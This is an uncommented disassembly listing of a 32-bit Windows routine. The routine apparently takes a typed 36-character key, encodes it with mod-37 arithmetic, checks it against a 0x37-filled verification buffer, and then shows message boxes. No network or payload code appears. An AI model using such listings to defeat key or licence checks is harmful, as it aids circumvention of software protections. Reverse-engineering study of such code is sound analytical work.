lea ebx, [esp + 0xe1d]
mov dword [esp + 0x6c8], edx
mov dword [esp + 0x6cc], edx
mov dword [esp + 0x6d0], edx
mov byte [esp + 0xe1d], dl
push ebx
push 0x24
lea ecx, [esp + 0x6d0]
call fcn.00426ecc
xor edi, edi
mov dword [esp + 0x5e0], 0
mov dword [esp + 0x5e4], 0
mov dword [esp + 0x5e8], 0
mov dword [esp + 0x948], 0
cmp dword [esp + 0x94c], 0
jle 0x423b89
mov dword [esp + 0x954], edi
mov ecx, dword [esp + 0x948]
xor ebx, ebx
mov edx, 0x25
lea edi, [esp + ecx + 0x984]
mov esi, edx
sub esi, ebx
sar esi, 1
add esi, ebx
mov ecx, dword [0x470720]
mov cl, byte [esi + ecx]
cmp cl, byte [edi]
jg 0x423a77
lea ebx, [esi + 1]
cmp ebx, edx
jl 0x423a59
jmp 0x423a7b
mov edx, esi
jmp 0x423a71
mov edi, dword [esp + 0x954]
test ebx, ebx
je 0x423af5
mov edx, dword [0x470720]
add edx, ebx
mov cl, byte [edx - 1]
mov edx, dword [esp + 0x948]
cmp cl, byte [esp + edx + 0x984]
jne 0x423af5
lea edx, [ebx - 1]
mov ecx, edx
mov eax, 0xdd67c8a7
mov dword [esp + 0x944], edx
imul ecx
mov eax, ecx
add edx, ecx
sar eax, 0x1f
sar edx, 5
sub edx, eax
imul eax, edx, 0x25
sub ecx, eax
mov edx, ecx
mov dword [esp + 0x944], ecx
shr edx, 0x1f
lea ecx, [edx + edx*4]
shl edx, 2
lea ecx, [ecx + edx*8]
mov edx, dword [esp + 0x6c8]
add dword [esp + 0x944], ecx
mov cl, byte [esp + 0x944]
mov byte [edx + edi], cl
inc edi
jmp 0x423b69
mov eax, dword [esp + 0x948]
mov bl, byte [esp + eax + 0x984]
cmp bl, 0x30
jl 0x423b0d
cmp bl, 0x39
jle 0x423b21
cmp bl, 0x41
jl 0x423b17
cmp bl, 0x5a
jle 0x423b21
cmp bl, 0x61
jl 0x423b69
cmp bl, 0x7a
jg 0x423b69
mov ecx, edi
mov eax, 0xdd67c8a7
imul ecx
mov eax, ecx
add edx, ecx
sar eax, 0x1f
sar edx, 5
sub edx, eax
imul eax, edx, 0x25
sub ecx, eax
mov edx, ecx
shr edx, 0x1f
mov ebx, ecx
lea ecx, [edx + edx*4]
shl edx, 2
lea ecx, [ecx + edx*8]
add ebx, ecx
mov byte [esp + 0xa10], bl
lea ecx, [esp + 0xa10]
push ecx
lea ecx, [esp + 0x5e4]
call fcn.00428038
inc edi
inc dword [esp + 0x948]
cmp edi, 0x24
jge 0x423b89
mov eax, dword [esp + 0x948]
cmp eax, dword [esp + 0x94c]
jl 0x423a3d
cmp edi, 0x24
jge 0x423bdb
mov ecx, edi
mov eax, 0xdd67c8a7
imul ecx
mov eax, ecx
add edx, ecx
sar eax, 0x1f
sar edx, 5
sub edx, eax
imul eax, edx, 0x25
sub ecx, eax
mov edx, ecx
shr edx, 0x1f
mov ebx, ecx
lea ecx, [edx + edx*4]
shl edx, 2
lea ecx, [ecx + edx*8]
add ebx, ecx
mov byte [esp + 0xa12], bl
lea ecx, [esp + 0xa12]
push ecx
lea ecx, [esp + 0x5e4]
call fcn.00428038
inc edi
cmp edi, 0x24
jl 0x423b8e
mov edi, dword [esp + 0x950]
lea eax, [esp + 0x5b0]
push eax
lea ebx, [esp + 0x5e4]
push ebx
lea edx, [esp + 0x6d0]
push edx
lea esi, [esp + 0x604]
push esi
call fcn.0041f0a3
mov byte [esp + 0xe30], 0
add esp, 0x10
mov ecx, dword [esp + 0x5fc]
sub ecx, dword [esp + 0x5f8]
cmp ecx, 0x24
jae 0x423c7c
mov byte [esp + 0xe20], 1
lea edx, [esp + 0x6c8]
push edx
lea ecx, [esp + 0x5fc]
call fcn.00428c28
xor ebx, ebx
mov edx, dword [esp + 0x5e4]
sub edx, dword [esp + 0x5e0]
je 0x423c7c
mov edx, dword [esp + 0x5e0]
movzx ecx, byte [edx + ebx]
inc ebx
mov edx, dword [esp + 0x5f8]
mov byte [ecx + edx], 0xff
mov ecx, dword [esp + 0x5e4]
sub ecx, dword [esp + 0x5e0]
cmp ebx, ecx
jb 0x423c53
xor esi, esi
xor ebx, ebx
mov edx, dword [esp + 0x5fc]
sub edx, dword [esp + 0x5f8]
je 0x423d43
mov ecx, dword [esp + 0x92c]
imul edx, ecx, 0x50
add edx, dword [esp + 0x928]
mov dword [esp + 0x920], edx
test ebx, ebx
je 0x423cee
mov ecx, ebx
mov eax, 0x38e38e39
imul ecx
mov eax, ecx
sar eax, 0x1f
sar edx, 1
sub edx, eax
imul eax, edx, 9
sub ecx, eax
test ecx, ecx
jne 0x423cee
mov edx, dword [esp + 0x92c]
imul ecx, edx, 0x50
add ecx, dword [esp + 0x928]
lea edx, [esi + ecx + 0x50]
inc esi
mov ecx, dword [0x499c90]
lea edx, [ecx + edx*2]
mov byte [edx + 1], 0x2d
mov ecx, dword [esp + 0x5f8]
mov dl, byte [ecx + ebx]
cmp dl, 0x80
jae 0x423d0f
and edx, 0xff
mov ecx, dword [0x470720]
movsx ecx, byte [edx + ecx]
jmp 0x423d14
mov ecx, 0x30
mov edx, dword [esp + 0x920]
lea eax, [edx + esi + 0x50]
mov edx, dword [0x499c90]
lea edx, [edx + eax*2]
inc ebx
mov byte [edx + 1], cl
mov ecx, dword [esp + 0x5fc]
inc esi
sub ecx, dword [esp + 0x5f8]
cmp ebx, ecx
jb 0x423cac
call fcn.0041fda5
push 0x18
push 0
lea edx, [esp + 0x688]
push edx
call fcn.00459cc8
mov ebx, dword [esp + 0x604]
add ebx, 0x23
mov dword [esp + 0x94c], 0
add esp, 0xc
xor esi, esi
xor ecx, ecx
mov edx, esi
lea esi, [esi + esi*4]
shl edx, 2
lea esi, [esi + edx*8]
mov edx, ebx
sub edx, ecx
movzx edx, byte [edx]
add esi, edx
inc ecx
cmp ecx, 6
jb 0x423d75
mov dword [esp + 0x950], edi
xor edi, edi
mov dword [esp + 0x960], ebx
mov eax, dword [esp + edi*4 + 0x680]
xor ecx, ecx
mov ebx, 0x98ede0c9
mov dword [esp + 0x128], eax
mov eax, dword [esp + 0x128]
mov dword [esp + 0x12c], ecx
mov edx, dword [esp + 0x12c]
imul ecx, eax
imul edx, ebx
add ecx, edx
mul ebx
add edx, ecx
mov dword [esp + 0x128], eax
mov eax, esi
mov dword [esp + 0x12c], edx
xor edx, edx
add dword [esp + 0x128], eax
mov ecx, dword [esp + 0x128]
adc dword [esp + 0x12c], edx
mov esi, dword [esp + 0x12c]
mov dword [esp + edi*4 + 0x680], ecx
inc edi
cmp edi, 6
jb 0x423d9f
inc dword [esp + 0x940]
mov ebx, dword [esp + 0x960]
add ebx, 0xfffffffa
cmp dword [esp + 0x940], 5
mov edi, dword [esp + 0x950]
jb 0x423d71
mov dword [esp + 0x950], edi
mov esi, 0x476d94
lea edi, [esp + 0x6b0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x964], edx
xor edi, edi
mov esi, dword [esp + 0x964]
cmp dword [esp + 0x964], 6
jae 0x423ed5
mov edx, dword [esp + 0x964]
lea ecx, [esp + edx*4 + 0x680]
mov dword [esp + 0x95c], ecx
mov edx, dword [esp + 0x95c]
mov ecx, esi
mov eax, dword [edx]
sub ecx, dword [esp + 0x964]
mov ebx, dword [esp + esi*4 + 0x6b0]
mul dword [ecx*4 + 0x472480]
xor ecx, ecx
add eax, ebx
adc edx, ecx
mov ebx, edi
xor ecx, ecx
add eax, ebx
adc edx, ecx
mov dword [esp + 0x120], eax
mov dword [esp + 0x124], edx
mov edx, dword [esp + 0x120]
mov dword [esp + esi*4 + 0x6b0], edx
inc esi
mov edi, dword [esp + 0x124]
cmp esi, 6
jl 0x423e7e
inc dword [esp + 0x964]
cmp dword [esp + 0x964], 6
jb 0x423e56
mov eax, dword [0x4721af]
and eax, 0x1e
shl eax, 0x1b
mov esi, dword [esp + 0x6c0]
and esi, 0xfffffff
or eax, esi
mov dword [esp + 0x6c0], eax
mov ebx, dword [0x4721af]
shr ebx, 5
movzx ecx, byte [0x4721b3]
shl ecx, 0x1b
or ebx, ecx
mov dword [esp + 0x6c4], ebx
mov esi, 0x476dac
lea edi, [esp + 0x698]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [esp + 0x968], 0
xor edi, edi
mov esi, dword [esp + 0x968]
cmp dword [esp + 0x968], 6
jae 0x423fc5
mov edx, dword [esp + 0x968]
lea ecx, [esp + edx*4 + 0x6b0]
mov dword [esp + 0x958], ecx
mov edx, dword [esp + 0x958]
mov ecx, esi
mov eax, dword [edx]
sub ecx, dword [esp + 0x968]
mov ebx, dword [esp + esi*4 + 0x698]
mul dword [ecx*4 + 0x476dc4]
xor ecx, ecx
add eax, ebx
adc edx, ecx
mov ebx, edi
xor ecx, ecx
add eax, ebx
adc edx, ecx
mov dword [esp + 0x118], eax
mov dword [esp + 0x11c], edx
mov edx, dword [esp + 0x118]
mov dword [esp + esi*4 + 0x698], edx
inc esi
mov edi, dword [esp + 0x11c]
cmp esi, 6
jl 0x423f6e
inc dword [esp + 0x968]
cmp dword [esp + 0x968], 6
jb 0x423f46
mov edi, dword [esp + 0x950]
push 0x18
lea eax, [esp + 0x69c]
push eax
lea esi, [esp + 0x9d8]
push esi
call fcn.0045a4e0
push 0x28
push 0
lea ebx, [esp + 0x9fc]
push ebx
call fcn.00459cc8
push 0x22
push 0
push 0x49e7cc
call fcn.00459cc8
add esp, 0x24
cmp byte [esp + 0xe20], 0
jne 0x4240cb
xor esi, esi
push 0x20
lea ecx, [esp + 0x9d4]
push ecx
lea edx, [esp + 0xc0]
push edx
call fcn.0045a4e0
push 0x20
lea ecx, [esp + 0x9e0]
push ecx
lea edx, [esp + 0x10c]
push edx
call fcn.0045a4e0
xor ebx, ebx
add esp, 0x18
mov eax, dword [esp + ebx*8 + 0xb8]
mov edx, dword [esp + ebx*8 + 0xbc]
xor eax, dword [esp + ebx*8 + 0xf8]
xor edx, dword [esp + ebx*8 + 0xfc]
mov dword [esp + ebx*8 + 0xd8], eax
mov dword [esp + ebx*8 + 0xdc], edx
inc ebx
cmp ebx, 4
jb 0x42405d
lea ecx, [esp + 0x9d0]
push ecx
push 0x40
lea edx, [esp + 0xc0]
push edx
call fcn.0041fae0
lea ecx, [esp + 0x9fc]
push ecx
push 0x40
lea edx, [esp + 0xec]
push edx
call fcn.0041fae0
inc esi
add esp, 0x18
cmp esi, 0x80
jb 0x42402a
push 0x200
push 0x4721c8
lea eax, [esp + 0xa20]
push eax
call fcn.0045a4e0
add esp, 0xc
cmp byte [esp + 0xe20], 0
jne 0x424113
push 0
push 0x200
lea ebx, [esp + 0xa20]
push ebx
push 0
push 0
lea esi, [esp + 0x9e4]
push esi
push esi
call fcn.0041f7f8
add esp, 0x1c
mov dword [esp + 0x190], 0
mov dword [esp + 0x194], 0
xor ecx, ecx
mov eax, dword [esp + ecx*8 + 0xa18]
mov edx, dword [esp + ecx*8 + 0xa1c]
inc ecx
xor eax, 0x37373737
xor edx, 0x37373737
or dword [esp + 0x190], eax
or dword [esp + 0x194], edx
cmp ecx, 0x40
jb 0x42412b
cmp byte [esp + 0xe20], 0
je 0x424178
mov dword [esp + 0x190], 1
mov dword [esp + 0x194], 0
xor ebx, ebx
mov ecx, dword [esp + 0x194]
or ecx, dword [esp + 0x190]
je 0x424191
mov esi, 0x477280
jmp 0x424196
mov esi, 0x477290
cmp byte [esi], bl
je 0x4241d6
mov edx, dword [esp + 0x92c]
imul ecx, edx, 0x50
add ecx, dword [esp + 0x928]
mov dword [esp + 0x938], ecx
mov ecx, dword [esp + 0x938]
lea eax, [ecx + ebx + 0xa0]
mov ecx, dword [0x499c90]
lea ecx, [ecx + eax*2]
mov dl, byte [ebx + esi]
mov byte [ecx + 1], dl
inc ebx
cmp byte [ebx + esi], 0
jne 0x4241b2
mov edx, 3
add dword [esp + 0x92c], edx
mov ebx, dword [esp + 0x92c]
lea eax, [ebx + 3]
cmp dword [0x4720d0], eax
jae 0x42429c
mov esi, dword [0x4720d0]
mov ecx, dword [0x4720d4]
cmp ecx, eax
mov dword [0x4720d0], eax
jae 0x424268
mov ebx, ecx
shr ecx, 1
add ebx, ecx
cmp ebx, dword [0x4720d0]
jae 0x42421d
mov ebx, eax
imul edx, ebx, 0xa0
push edx
push dword [0x499c90]
call fcn.0045adac
add esp, 8
test eax, eax
mov dword [esp + 0x904], eax
je 0x424252
mov dword [0x4720d4], ebx
mov ecx, dword [esp + 0x904]
mov dword [0x499c90], ecx
jmp 0x424268
mov ecx, dword [0x4720d4]
lea edx, [ecx - 3]
mov dword [0x4720d0], ecx
mov dword [esp + 0x92c], edx
mov ecx, dword [0x4720d0]
imul ecx, ecx, 0x50
imul edx, esi, 0x50
cmp edx, ecx
jae 0x42429c
mov eax, dword [0x499c90]
mov byte [eax + edx*2], 0xb
mov ebx, dword [0x499c90]
lea esi, [ebx + edx*2]
mov byte [esi + 1], 0x20
mov ecx, dword [0x4720d0]
inc edx
imul eax, ecx, 0x50
cmp edx, eax
jb 0x424278
mov edx, dword [esp + 0x194]
or edx, dword [esp + 0x190]
jne 0x42433e
push 0x40
lea ecx, [esp + 0x9d4]
push ecx
mov byte [0x472151], 2
push 0x472152
call fcn.0045a4e0
push 0x14
lea edx, [esp + 0x690]
push edx
push 0x4721b4
call fcn.0045a4e0
push 0x472150
call fcn.00420c50
xor ebx, ebx
mov byte [esp + 0xe3b], 1
add esp, 0x1c
cmp byte [0x4772a0], bl
je 0x42432d
mov ecx, dword [esp + 0x92c]
imul esi, ecx, 0x50
add esi, dword [esp + 0x928]
lea ecx, [ebx + esi]
mov eax, dword [0x499c90]
lea ecx, [eax + ecx*2]
mov dl, byte [ebx + 0x4772a0]
inc ebx
mov byte [ecx + 1], dl
cmp byte [ebx + 0x4772a0], 0
jne 0x42430f
mov ebx, dword [0x4720d0]
add ebx, 0xffffffe5
mov dword [0x4720cc], ebx
jmp 0x4243b3
mov edx, dword [esp + 0x92c]
mov eax, dword [0x499c90]
xor edi, edi
imul esi, edx, 0xa0
lea ecx, [esi + eax]
imul edx, edx, 0x50
mov byte [ecx + 1], 0x4b
mov ebx, dword [0x499c90]
lea eax, [esi + ebx]
mov byte [eax + 3], 0x65
mov ecx, dword [0x499c90]
lea ebx, [esi + ecx]
mov byte [ebx + 5], 0x79
mov eax, dword [0x499c90]
lea esi, [esi + eax]
mov byte [esi + 7], 0x3a
mov ecx, dword [esp + 0x928]
lea ebx, [ecx + edx + 0x50]
mov dword [esp + 0x94c], 0
mov eax, dword [0x499c90]
lea esi, [eax + ebx*2]
mov byte [esi + 1], 0xe1
mov edx, dword [0x4720d0]
add edx, 0xffffffe7
mov dword [0x4720cc], edx
lea ecx, [esp + 0x9ce]
push ecx
push dword [esp + 0x600]
push dword [esp + 0x600]
call fcn.00426f60
lea ecx, [esp + 0x604]
call fcn.004280e0
lea eax, [esp + 0xa1d]
push eax
push dword [esp + 0x5f4]
push dword [esp + 0x5f4]
call fcn.00426f60
lea ecx, [esp + 0x5f8]
call fcn.004280e0
lea edx, [esp + 0x998]
push edx
push dword [esp + 0x6e8]
push dword [esp + 0x6e8]
call fcn.00426f60
lea ecx, [esp + 0x6ec]
call fcn.004280e0
add esp, 0x24
call fcn.0041fda5
push 1
call fcn.0041fcc1
add esp, 4
cmp byte [esp + 0xe21], 0
je 0x424460
push 0
push 0
push 0
lea ebx, [esp + 0x758]
push ebx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x423243
push dword [0x499c90]
call dword [sym.imp.GDI32.DLL_DeleteObject]
push dword [0x49e094]
call dword [sym.imp.GDI32.DLL_DeleteObject]
push 0
push dword [esp + 0x920]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x49e084]
call fcn.0045ace4
push dword [0x49e088]
call fcn.0045ace4
add esp, 8
cmp byte [0x472151], 2
jne 0x42518a
push 0x200
push 0x4721c8
lea esi, [esp + 0xc24]
push esi
call fcn.0045a4e0
mov edx, 0x472152
push 0
push 0x200
push esi
push 0
push 0
push edx
push edx
call fcn.0041f7f8
xor ebx, ebx
mov dword [esp + 0x1b0], 0
mov dword [esp + 0x1b4], 0
add esp, 0x28
mov eax, dword [esp + ebx*8 + 0xc1c]
mov edx, dword [esp + ebx*8 + 0xc20]
inc ebx
xor eax, 0x37373737
xor edx, 0x37373737
or dword [esp + 0x188], eax
or dword [esp + 0x18c], edx
cmp ebx, 0x40
jb 0x4244f7
mov ecx, dword [esp + 0x18c]
or ecx, dword [esp + 0x188]
je 0x42454d
mov byte [0x472151], 1
push 0x472150
call fcn.00420c50
add esp, 4
jmp 0x422872
lea ebx, [esp + 0x654]
xor eax, eax
mov dword [ebx], eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [esp + 0x654], eax
mov dword [esp + 0x658], eax
mov dword [esp + 0x65c], eax
push 0x28
call fcn.0045ae74
lea ecx, [esp + 0x982]
mov dword [esp + 0x658], eax
mov edx, dword [esp + 0x658]
mov dword [esp + 0x65c], eax
add edx, 0x28
mov dword [esp + 0x660], edx
mov byte [esp + 0x973], 0
push ecx
lea ebx, [esp + 0x977]
push ebx
push 0x28
push dword [esp + 0x664]
call fcn.00426d2c
mov dword [esp + 0x66c], eax
push 0x1d
push 0x472197
lea edi, [esp + 0x67c]
push edi
call fcn.0045a4e0
push 3
push 0
lea eax, [esp + 0x6a5]
push eax
call fcn.00459cc8
xor esi, esi
add esp, 0x2c
mov dword [esp + 0x918], esi
xor edi, edi
mov esi, 7
xor eax, eax
mov ebx, dword [esp + esi*4 + 0x660]
mov edx, edi
xor ecx, ecx
or eax, ebx
or edx, ecx
mov dword [esp + 0x198], eax
mov ebx, 0x18ed2825
mov dword [esp + 0x19c], edx
push esi
push edi
call fcn.0045996a
mov ebx, 0x18ed2825
xor ecx, ecx
pop edi
pop esi
mov edx, dword [esp + 0x19c]
mov dword [esp + esi*4 + 0x660], eax
mov eax, dword [esp + 0x198]
push esi
push edi
call fcn.0045996a
pop edi
mov edi, ebx
pop esi
dec esi
test esi, esi
jns 0x4245fe
mov edx, dword [esp + 0x918]
lea ecx, [edx + 5]
cmp ecx, edx
mov esi, dword [esp + 0x918]
jle 0x4246e5
cmp edx, 0x28
jae 0x4246e5
mov dword [esp + 0x93c], ecx
mov eax, edi
mov edx, 0x3521cfb3
mov ecx, edi
mul edx
mov eax, ecx
sub eax, edx
shr eax, 1
lea edx, [edx + eax]
shr edx, 5
imul eax, edx, 0x35
sub ecx, eax
mov eax, edx
mov dword [esp + 0x4c], eax
mov edx, ecx
mov eax, 0x4d4873ed
mov dword [esp + 0x50], edx
mov ebx, ecx
imul ecx
mov eax, ecx
sar eax, 0x1f
sar edx, 4
sub edx, eax
imul eax, edx, 0x35
sub ecx, eax
mov ebx, ecx
shr ecx, 0x1f
imul edx, ecx, 0x35
mov ecx, dword [esp + 0x654]
add ebx, edx
mov byte [ecx + esi], bl
mov eax, dword [esp + 0x4c]
inc esi
cmp dword [esp + 0x93c], esi
mov edx, dword [esp + 0x50]
mov edi, eax
jle 0x4246e5
cmp esi, 0x28
jl 0x424678
mov esi, dword [esp + 0x918]
add esi, 5
cmp esi, 0x28
jb 0x4245f0
lea esi, [esp + 0x654]
push esi
lea edi, [esp + 0x608]
push edi
call fcn.0041f057
lea ecx, [esp + 0xa1b]
push ecx
push 0x476eb8
lea ecx, [esp + 0x5e4]
call fcn.0042e9a0
add esp, 8
xor ebx, ebx
mov eax, dword [esp + 0x608]
sub eax, dword [esp + 0x604]
je 0x424795
mov esi, ebx
mov eax, 0x2aaaaaab
imul esi
mov eax, esi
sar eax, 0x1f
sub edx, eax
imul eax, edx, 6
sub esi, eax
cmp esi, 5
jne 0x424763
push 0x2d
lea ecx, [esp + 0x5d8]
call fcn.00428ac0
mov edi, dword [esp + 0x604]
movzx edx, byte [edi + ebx]
mov eax, dword [0x4706f4]
push dword [edx + eax]
lea ecx, [esp + 0x5d8]
call fcn.00428ac0
mov esi, dword [esp + 0x608]
inc ebx
sub esi, dword [esp + 0x604]
cmp ebx, esi
jb 0x42473b
mov edx, 0x476ec0
push edx
call fcn.0045a18c
add esp, 4
lea ebx, [eax + 0x476ec0]
push ebx
mov eax, 0x476ec0
push eax
lea ecx, [esp + 0x5dc]
call fcn.0042870c
push 0x14
push 0x4721b4
lea edi, [esp + 0x5c8]
push edi
call fcn.0045a4e0
lea edx, [esp + 0x5c0]
xor ebx, ebx
and dword [esp + 0x5dc], 0xfffffff
mov dword [edx], ebx
mov dword [edx + 4], ebx
mov dword [edx + 8], ebx
mov dword [esp + 0x5c0], ebx
mov dword [esp + 0x5c4], ebx
mov dword [esp + 0x5c8], ebx
push 0x1e
call fcn.0045ae74
lea ecx, [esp + 0x97d]
mov dword [esp + 0x5c4], eax
mov dword [esp + 0x5c8], eax
mov eax, dword [esp + 0x5c4]
mov byte [esp + 0x97e], bl
add eax, 0x1e
mov dword [esp + 0x5cc], eax
push ecx
lea edx, [esp + 0x982]
push edx
push 0x1e
push dword [esp + 0x5d0]
call fcn.00428488
xor esi, esi
mov dword [esp + 0x5d8], eax
add esp, 0x20
mov dword [esp + 0x910], esi
xor edi, edi
mov esi, 4
xor eax, eax
mov ebx, dword [esp + esi*4 + 0x5c0]
mov edx, edi
xor ecx, ecx
or eax, ebx
or edx, ecx
mov dword [esp + 0x1a8], eax
mov ebx, 0x98ede0c9
mov dword [esp + 0x1ac], edx
push esi
push edi
call fcn.0045996a
mov ebx, 0x98ede0c9
xor ecx, ecx
pop edi
pop esi
mov edx, dword [esp + 0x1ac]
mov dword [esp + esi*4 + 0x5c0], eax
mov eax, dword [esp + 0x1a8]
push esi
push edi
call fcn.0045996a
pop edi
mov edi, ebx
pop esi
dec esi
test esi, esi
jns 0x424866
mov edx, dword [esp + 0x910]
lea ecx, [edx + 6]
cmp ecx, edx
mov esi, dword [esp + 0x910]
jle 0x42495b
cmp edx, 0x1e
jae 0x42495b
mov dword [esp + 0x930], ecx
mov eax, edi
mov edx, 0xbacf914d
mov ecx, edi
mul edx
mov eax, ecx
sub eax, edx
shr eax, 1
lea edx, [edx + eax]
shr edx, 5
imul eax, edx, 0x25
sub ecx, eax
mov eax, edx
mov dword [esp + 0x58], eax
mov edx, ecx
mov eax, 0xdd67c8a7
mov dword [esp + 0x5c], edx
mov ebx, ecx
imul ecx
mov eax, ecx
add edx, ecx
sar eax, 0x1f
sar edx, 5
sub edx, eax
imul eax, edx, 0x25
sub ecx, eax
mov edx, ecx
shr edx, 0x1f
mov ebx, ecx
lea ecx, [edx + edx*4]
shl edx, 2
lea ecx, [ecx + edx*8]
add ebx, ecx
mov ecx, dword [esp + 0x5b4]
mov eax, dword [esp + 0x58]
mov edx, dword [esp + 0x5c]
mov byte [ecx + esi], bl
inc esi
mov edi, eax
cmp dword [esp + 0x930], esi
jle 0x42495b
cmp esi, 0x1e
jl 0x4248e4
mov esi, dword [esp + 0x910]
add esi, 6
cmp esi, 0x1e
jb 0x424858
lea esi, [esp + 0x5b4]
push esi
lea edi, [esp + 0x5f0]
push edi
call fcn.0041f090
lea ecx, [esp + 0x6dc]
call fcn.0042e8f8
add esp, 8
xor ebx, ebx
mov edx, dword [esp + 0x5f0]
sub edx, dword [esp + 0x5ec]
je 0x424a04
test ebx, ebx
je 0x4249d1
mov esi, ebx
mov eax, 0x38e38e39
imul esi
mov eax, esi
sar eax, 0x1f
sar edx, 1
sub edx, eax
imul eax, edx, 9
sub esi, eax
test esi, esi
jne 0x4249d1
push 0x2d
lea ecx, [esp + 0x6d8]
call fcn.00428ac0
mov edi, dword [esp + 0x5ec]
movzx eax, byte [edi + ebx]
mov edx, dword [0x470720]
push dword [eax + edx]
lea ecx, [esp + 0x6d8]
call fcn.00428ac0
mov esi, dword [esp + 0x5f0]
inc ebx
sub esi, dword [esp + 0x5ec]
cmp ebx, esi
jb 0x4249a4
push 1
mov edx, 0x4772d4
push 0x4772bc
push edx
call fcn.0045a18c
add esp, 4
mov ebx, eax
mov ecx, dword [esp + 0x5e0]
lea edx, [ebx + ecx + 1]
xor ecx, ecx
sub edx, dword [esp + 0x5dc]
mov dword [esp + 0x858], ecx
mov dword [esp + 0x85c], ecx
mov dword [esp + 0x860], ecx
push edx
lea ecx, [esp + 0x85c]
call fcn.0042eac0
mov ecx, dword [esp + 0x85c]
xor edx, edx
mov byte [ecx], dl
lea ecx, [ebx + 0x4772d4]
push ecx
mov ecx, 0x4772d4
push ecx
lea ecx, [esp + 0x860]
call fcn.0042870c
push dword [esp + 0x5e0]
push dword [esp + 0x5e0]
lea ecx, [esp + 0x860]
call fcn.004288b0
mov edx, 0x477340
push edx
call fcn.0045a18c
add esp, 4
mov esi, eax
mov dword [esp + 0x704], 0
mov ecx, dword [esp + 0x85c]
lea edx, [esi + ecx + 1]
sub edx, dword [esp + 0x858]
mov dword [esp + 0x708], 0
mov dword [esp + 0x70c], 0
push edx
lea ecx, [esp + 0x708]
call fcn.0042eac0
mov edx, dword [esp + 0x708]
mov byte [edx], 0
push dword [esp + 0x85c]
push dword [esp + 0x85c]
lea ecx, [esp + 0x70c]
call fcn.004288b0
lea edx, [esi + 0x477340]
mov ecx, 0x477340
push edx
push ecx
lea ecx, [esp + 0x70c]
call fcn.0042870c
mov edx, dword [esp + 0x6e0]
mov dword [esp + 0x8ec], 0
mov ecx, dword [esp + 0x708]
lea edx, [ecx + edx + 1]
sub edx, dword [esp + 0x6dc]
sub edx, dword [esp + 0x704]
mov dword [esp + 0x8f0], 0
mov dword [esp + 0x8f4], 0
push edx
lea ecx, [esp + 0x8f0]
call fcn.0042eac0
mov edx, dword [esp + 0x8f0]
mov byte [edx], 0
push dword [esp + 0x708]
push dword [esp + 0x708]
lea ecx, [esp + 0x8f4]
call fcn.004288b0
push dword [esp + 0x6e0]
push dword [esp + 0x6e0]
lea ecx, [esp + 0x8f4]
call fcn.004288b0
mov edx, 0x47735c
push edx
call fcn.0045a18c
add esp, 4
mov edi, eax
mov dword [esp + 0x8b0], 0
mov ecx, dword [esp + 0x8f0]
lea edx, [edi + ecx + 1]
sub edx, dword [esp + 0x8ec]
mov dword [esp + 0x8b4], 0
mov dword [esp + 0x8b8], 0
push edx
lea ecx, [esp + 0x8b4]
call fcn.0042eac0
mov edx, dword [esp + 0x8b4]
mov byte [edx], 0
push dword [esp + 0x8f0]
push dword [esp + 0x8f0]
lea ecx, [esp + 0x8b8]
call fcn.004288b0
lea edx, [edi + 0x47735c]
mov ecx, 0x47735c
push edx
push ecx
lea ecx, [esp + 0x8b8]
call fcn.0042870c
lea edx, [esp + 0x974]
mov dword [esp + 0x8bc], 0
mov dword [esp + 0x8c0], 0
mov dword [esp + 0x8c4], 0
push edx
push 0x472197
push 0x472192
lea ecx, [esp + 0x8c8]
call fcn.00428928
mov edx, dword [esp + 0x8c0]
mov dword [esp + 0x870], 0
mov ecx, dword [esp + 0x8b4]
lea edx, [ecx + edx + 1]
sub edx, dword [esp + 0x8bc]
sub edx, dword [esp + 0x8b0]
mov dword [esp + 0x874], 0
mov dword [esp + 0x878], 0
push edx
lea ecx, [esp + 0x874]
call fcn.0042eac0
mov edx, dword [esp + 0x874]
mov byte [edx], 0
push dword [esp + 0x8b4]
push dword [esp + 0x8b4]
lea ecx, [esp + 0x878]
call fcn.004288b0
push dword [esp + 0x8c0]
push dword [esp + 0x8c0]
lea ecx, [esp + 0x878]
call fcn.004288b0
mov edx, 0x47738c
push edx
call fcn.0045a18c
add esp, 4
mov ecx, dword [esp + 0x874]
mov dword [esp + 0x904], eax
lea edx, [eax + ecx + 1]
sub edx, dword [esp + 0x870]
mov dword [esp + 0x8c8], 0
mov dword [esp + 0x8cc], 0
mov dword [esp + 0x8d0], 0
push edx
lea ecx, [esp + 0x8cc]
call fcn.0042eac0
mov edx, dword [esp + 0x8cc]
mov byte [edx], 0
push dword [esp + 0x874]
push dword [esp + 0x874]
lea ecx, [esp + 0x8d0]
call fcn.004288b0
mov edx, dword [esp + 0x904]
lea ecx, [edx + 0x47738c]
mov edx, 0x47738c
push ecx
push edx
lea ecx, [esp + 0x8d0]
call fcn.0042870c
mov edx, dword [esp + 0x8c8]
push edx
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [esp + 0x8c8]
mov dword [esp + 0x8f4], eax
sub ecx, dword [esp + 0x8c0]
push ecx
push dword [esp + 0x8c4]
lea ecx, [esp + 0x8d0]
call fcn.00428728
mov edx, dword [esp + 0x870]
sub edx, dword [esp + 0x868]
push edx
push dword [esp + 0x86c]
lea ecx, [esp + 0x878]
call fcn.00428728
mov edx, dword [esp + 0x8bc]
sub edx, dword [esp + 0x8b4]
push edx
push dword [esp + 0x8b8]
lea ecx, [esp + 0x8c4]
call fcn.00428728
mov edx, dword [esp + 0x8b0]
sub edx, dword [esp + 0x8a8]
push edx
push dword [esp + 0x8ac]
lea ecx, [esp + 0x8b8]
call fcn.00428728
mov edx, dword [esp + 0x8ec]
sub edx, dword [esp + 0x8e4]
push edx
push dword [esp + 0x8e8]
lea ecx, [esp + 0x8f4]
call fcn.00428728
mov edx, dword [esp + 0x704]
sub edx, dword [esp + 0x6fc]
push edx
push dword [esp + 0x700]
lea ecx, [esp + 0x70c]
call fcn.00428728
mov edx, dword [esp + 0x858]
sub edx, dword [esp + 0x850]
push edx
push dword [esp + 0x854]
lea ecx, [esp + 0x860]
